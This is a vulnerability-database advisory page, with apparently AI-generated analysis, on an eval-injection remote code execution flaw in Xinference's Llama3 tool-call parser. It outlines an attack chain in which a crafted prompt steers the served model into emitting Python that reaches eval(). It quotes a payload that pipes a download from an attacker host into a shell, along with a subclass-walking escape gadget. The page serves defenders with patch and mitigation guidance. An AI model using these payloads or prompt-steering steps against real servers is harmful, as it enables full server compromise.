Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach unauthenticated /v1/chat/completions
-
DeliverySend tools request with injection-crafted prompt
-
ExploitModel emits malicious Python expression
-
Executioneval() executes it in server process
-
ImpactRun OS commands / reverse shell as server user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires the target to be using the Transformers backend serving a Llama3-style tool-calling model, and the attacker's request must include a tools field so the vulnerable tool-call post-processing path (_post_process_completion → extract_tool_calls/_eval_llama3_chat_arguments) is invoked. No authentication is needed in the default configuration because Xinference ships with auth disabled and the /v1/chat/completions endpoint is exposed (PR:N confirmed by CVSS and vendor). The principal limiting factor is that code execution is not direct: the attacker must reliably manipulate the model's generated output so it returns an executable Python expression (e.g. __import__('os').system(...)) rather than a benign dict - success depends on the specific model and prompt-injection reliability. Enabling authentication, restricting API network access, or not using Llama3 tool-calling each removes the condition. |
| Impact | Signals are strong but not uniform. The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0) reflects unauthenticated network-reachable RCE, and the vendor confirms auth is off by default, so the exposure is real for any internet-facing instance. The important nuance is exploit reliability: the attacker does not inject Python directly - they must coax the served LLM into emitting a specific malicious Python expression that then reaches eval(). That model-steering step is probabilistic and model-dependent, which realistically raises attack complexity above the AC:L in the input vector (I assess AC:H). No EPSS score, KEV entry, or public weaponized exploit is present in the data, so this is not confirmed active exploitation - but the root cause is trivial and well-documented in the GHSA advisory (including a proof-of-concept payload), and the added regression tests in PR #4786 confirm the exact bug. Net: a genuine high-priority patch item, especially for exposed deployments, with the main real-world limiter being how consistently an attacker can force the target model's output. |
| Exploit ScenarioDerived | An attacker reaches an internet-exposed Xinference instance (auth off by default), sends a /v1/chat/completions request with a tools field and a crafted prompt engineered to make the served Llama3 model emit a Python expression such as __import__('os').system('curl attacker/x|sh'). During tool-call post-processing Xinference evaluates that expression with eval(), running the command in the server process. The GHSA advisory documents the mechanism and a touch /tmp/hacked style proof-of-concept, though no packaged public exploit was identified. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 21, 2026
Remote code execution in Xorbits Inference (Xinference) 2.5.0 and earlier lets a remote attacker run arbitrary OS commands in the server process by abusing an unsafe eval() in the Llama3 tool-call parser. Any request to the OpenAI-compatible /v1/chat/completions endpoint with a tools field triggers evaluation of model-generated Python, so an attacker who steers the model's output via a crafted prompt achieves full server compromise; because authentication is disabled in the default deployment, the vendor advisory rates this exploitable by an unauthenticated remote attacker. This is fixed in 2.7.0; there is no public exploit identified at time of analysis and it is not listed in CISA KEV.
RemediationAI
Upgrade to Xinference 2.7.0, which replaces eval() with json.loads() plus an ast.literal_eval() fallback (safe literal parsing only) - Vendor-released patch: 2.7.0 (release https://github.com/xorbitsai/inference/releases/tag/v2.7.0; fix in PR https://github.com/xorbitsai/inference/pull/4786 and commit 1b3d220f342ce68d34cec4586d9409d457dadc42). If you cannot upgrade immediately, enable Xinference authentication so the /v1/chat/completions endpoint is not reachable unauthenticated (default deployments ship with auth disabled), and restrict network access to the API port to trusted clients only - trade-off: breaks anonymous/open access patterns. Avoid or disable Llama3 tool-calling (do not send the tools field to affected models) until patched, since the vulnerable code path only triggers on tool-call post-processing - trade-off: loses tool/function-calling capability. Run the server as a low-privilege, sandboxed/containerized user to limit blast radius of any successful eval. Full advisory: https://github.com/xorbitsai/inference/security/advisories/GHSA-x2rj-828p-hx9m.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Xinference is an open-source inference server that exposes an OpenAI-compatible API for serving LLMs, speech, and multimodal models. The flaw is a classic CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code, i.e. 'eval injection'): when the Transformers backend returns a non-streaming chat result containing tool calls, extract_tool_calls() in xinference/model/llm/tool_parsers/llama3_tool_parser.py (and the parallel _eval_llama3_chat_arguments() path in xinference/model/llm/utils.py) called Python's eval(model_output, {}, {}) to turn the model's dictionary-like string into an object. Empty globals/locals dicts are not a sandbox - Python builtins remain reachable, so an expression like __import__('os').system(...) or the ().__class__.__bases__[0].__subclasses__() gadget executes. The data path runs from restful_api.py through transformers/core.py, handle_chat_result_non_streaming(), and _post_process_completion(). CPE cpe:2.3:a:xorbitsai:inference identifies the affected package (pip/xinference).
Know when Inference gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
AV:N/PR:N because the endpoint is remote and unauthenticated by default; AC:H because exploitation depends on reliably steering the LLM to emit a malicious Python expression; S:U as code runs within the server process authority.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Xinference is an inference API for running open-source, speech, and multimodal models. In 2.5.0 and earlier, Xinference passes attacker-influenced Llama3 tool-call output to eval() in xinference/model/llm/tool_parsers/llama3_tool_parser.py and xinference/model/llm/utils.py. Requests to /v1/chat/completions with a tools field flow through xinference/api/restful_api.py, xinference/model/llm/transformers/core.py, handle_chat_result_non_streaming(), and _post_process_completion() before extract_tool_calls() or _eval_llama3_chat_arguments() evaluates the model-generated Python expression. An unauthenticated remote attacker can influence that output through a crafted prompt and execute commands in the Xinference server process context. This issue is fixed in version 2.7.0.
Articles & Coverage 2
Latest POC
1 PoC candidate from github (unverified)
Sign in to open the public PoC links collected for this CVE.
Executive ViewAI
Xorbits Inference (Xinference) versions 2.5.0 and earlier contain a critical remote code execution vulnerability accessible via the OpenAI-compatible chat endpoint that allows unauthenticated remote attackers to execute arbitrary OS commands on affected servers. Organizations running vulnerable versions risk complete server compromise, including unauthorized access to data and denial of service. Patching to version 2.7.0 is the highest priority to eliminate this attack vector.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote code execution in Xinference (all versions before 2.12.0) allows any user with model-launch access to execute arb
Unauthenticated arbitrary-path file read in Xinference v3.x (including commit 4a94832 and v3.3.0) exposes server filesys
Unauthenticated attackers can abuse the model-registration endpoint in Xinference through 4.0.1 on Windows to write or d
EUVD-2026-64146
GHSA-x2rj-828p-hx9m
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB